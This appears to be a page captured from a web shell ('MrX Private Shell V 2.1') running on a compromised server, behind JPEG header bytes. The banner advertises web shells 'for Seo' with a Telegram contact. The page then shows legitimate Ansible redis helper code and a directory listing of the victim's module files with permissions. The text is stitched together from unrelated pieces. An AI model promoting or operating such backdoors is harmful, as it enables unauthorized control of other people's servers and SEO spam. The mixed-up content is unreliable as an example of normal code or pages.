����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
#
# Copyright (c) 2021, Andreas Botzner <andreas at botzner dot com>
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later
from __future__ import absolute_import, division, print_function
from ansible.module_utils.basic import missing_required_lib
__metaclass__ = type
import traceback
REDIS_IMP_ERR = None
try:
from redis import Redis
from redis import __version__ as redis_version
HAS_REDIS_PACKAGE = True
REDIS_IMP_ERR = None
except ImportError:
REDIS_IMP_ERR = traceback.format_exc()
HAS_REDIS_PACKAGE = False
try:
import certifi
HAS_CERTIFI_PACKAGE = True
CERTIFI_IMPORT_ERROR = None
except ImportError:
CERTIFI_IMPORT_ERROR = traceback.format_exc()
HAS_CERTIFI_PACKAGE = False
def fail_imports(module, needs_certifi=True):
errors = []
traceback = []
if not HAS_REDIS_PACKAGE:
errors.append(missing_required_lib('redis'))
traceback.append(REDIS_IMP_ERR)
if not HAS_CERTIFI_PACKAGE and needs_certifi:
errors.append(missing_required_lib('certifi'))
traceback.append(CERTIFI_IMPORT_ERROR)
if errors:
module.fail_json(msg='\n'.join(errors), traceback='\n'.join(traceback))
def redis_auth_argument_spec(tls_default=True):
return dict(
login_host=dict(type='str',
default='localhost',),
login_user=dict(type='str'),
login_password=dict(type='str',
no_log=True
),
login_port=dict(type='int', default=6379),
tls=dict(type='bool',
default=tls_default),
validate_certs=dict(type='bool',
default=True
),
ca_certs=dict(type='str')
)
def redis_auth_params(module):
login_host = module.params['login_host']
login_user = module.params['login_user']
login_password = module.params['login_password']
login_port = module.params['login_port']
tls = module.params['tls']
validate_certs = 'required' if module.params['validate_certs'] else None
ca_certs = module.params['ca_certs']
if tls and ca_certs is None:
ca_certs = str(certifi.where())
if tuple(map(int, redis_version.split('.'))) < (3, 4, 0) and login_user is not None:
module.fail_json(
msg='The option `username` in only supported with redis >= 3.4.0.')
params = {'host': login_host,
'port': login_port,
'password': login_password,
'ssl_ca_certs': ca_certs,
'ssl_cert_reqs': validate_certs,
'ssl': tls}
if login_user is not None:
params['username'] = login_user
return params
class RedisAnsible(object):
'''Base class for Redis module'''
def __init__(self, module):
self.module = module
self.connection = self._connect()
def _connect(self):
try:
return Redis(**redis_auth_params(self.module))
except Exception as e:
self.module.fail_json(msg='{0}'.format(str(e)))
return None
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| identity | Folder | 0755 |
|
|
| mh | Folder | 0755 |
|
|
| net_tools | Folder | 0755 |
|
|
| oracle | Folder | 0755 |
|
|
| remote_management | Folder | 0755 |
|
|
| source_control | Folder | 0755 |
|
|
| storage | Folder | 0755 |
|
|
| _filelock.py | File | 3.35 KB | 0644 |
|
| _mount.py | File | 1.71 KB | 0644 |
|
| _stormssh.py | File | 8.27 KB | 0644 |
|
| alicloud_ecs.py | File | 12.38 KB | 0644 |
|
| btrfs.py | File | 16.95 KB | 0644 |
|
| cloud.py | File | 8.15 KB | 0644 |
|
| cmd_runner.py | File | 10.9 KB | 0644 |
|
| consul.py | File | 812 B | 0644 |
|
| csv.py | File | 2 KB | 0644 |
|
| database.py | File | 6.44 KB | 0644 |
|
| deps.py | File | 2.35 KB | 0644 |
|
| dimensiondata.py | File | 10.52 KB | 0644 |
|
| gandi_livedns_api.py | File | 7.4 KB | 0644 |
|
| gconftool2.py | File | 1023 B | 0644 |
|
| gio_mime.py | File | 1 KB | 0644 |
|
| gitlab.py | File | 5.82 KB | 0644 |
|
| heroku.py | File | 1.25 KB | 0644 |
|
| hwc_utils.py | File | 12.56 KB | 0644 |
|
| ibm_sa_utils.py | File | 3.17 KB | 0644 |
|
| ilo_redfish_utils.py | File | 9.76 KB | 0644 |
|
| influxdb.py | File | 3.35 KB | 0644 |
|
| ipa.py | File | 8.38 KB | 0644 |
|
| jenkins.py | File | 1.06 KB | 0644 |
|
| known_hosts.py | File | 5.68 KB | 0644 |
|
| ldap.py | File | 4.88 KB | 0644 |
|
| linode.py | File | 939 B | 0644 |
|
| locale_gen.py | File | 871 B | 0644 |
|
| lxd.py | File | 5.12 KB | 0644 |
|
| manageiq.py | File | 16.23 KB | 0644 |
|
| memset.py | File | 4.22 KB | 0644 |
|
| module_helper.py | File | 1.31 KB | 0644 |
|
| ocapi_utils.py | File | 20.75 KB | 0644 |
|
| oneandone.py | File | 9.12 KB | 0644 |
|
| onepassword.py | File | 872 B | 0644 |
|
| oneview.py | File | 17.51 KB | 0644 |
|
| online.py | File | 3.83 KB | 0644 |
|
| opennebula.py | File | 12.04 KB | 0644 |
|
| pipx.py | File | 1.72 KB | 0644 |
|
| proxmox.py | File | 6.94 KB | 0644 |
|
| puppet.py | File | 3.88 KB | 0644 |
|
| pure.py | File | 4.07 KB | 0644 |
|
| rax.py | File | 11.26 KB | 0644 |
|
| redfish_utils.py | File | 156.71 KB | 0644 |
|
| redhat.py | File | 10.51 KB | 0644 |
|
| redis.py | File | 3.14 KB | 0644 |
|
| rundeck.py | File | 3.34 KB | 0644 |
|
| saslprep.py | File | 6.67 KB | 0644 |
|
| scaleway.py | File | 12.96 KB | 0644 |
|
| snap.py | File | 1.57 KB | 0644 |
|
| ssh.py | File | 723 B | 0644 |
|
| univention_umc.py | File | 7.53 KB | 0644 |
|
| utm_utils.py | File | 9.08 KB | 0644 |
|
| vardict.py | File | 6.89 KB | 0644 |
|
| version.py | File | 878 B | 0644 |
|
| vexata.py | File | 3.14 KB | 0644 |
|
| wdc_redfish_utils.py | File | 23.09 KB | 0644 |
|
| xenserver.py | File | 30.1 KB | 0644 |
|
| xfconf.py | File | 1.33 KB | 0644 |
|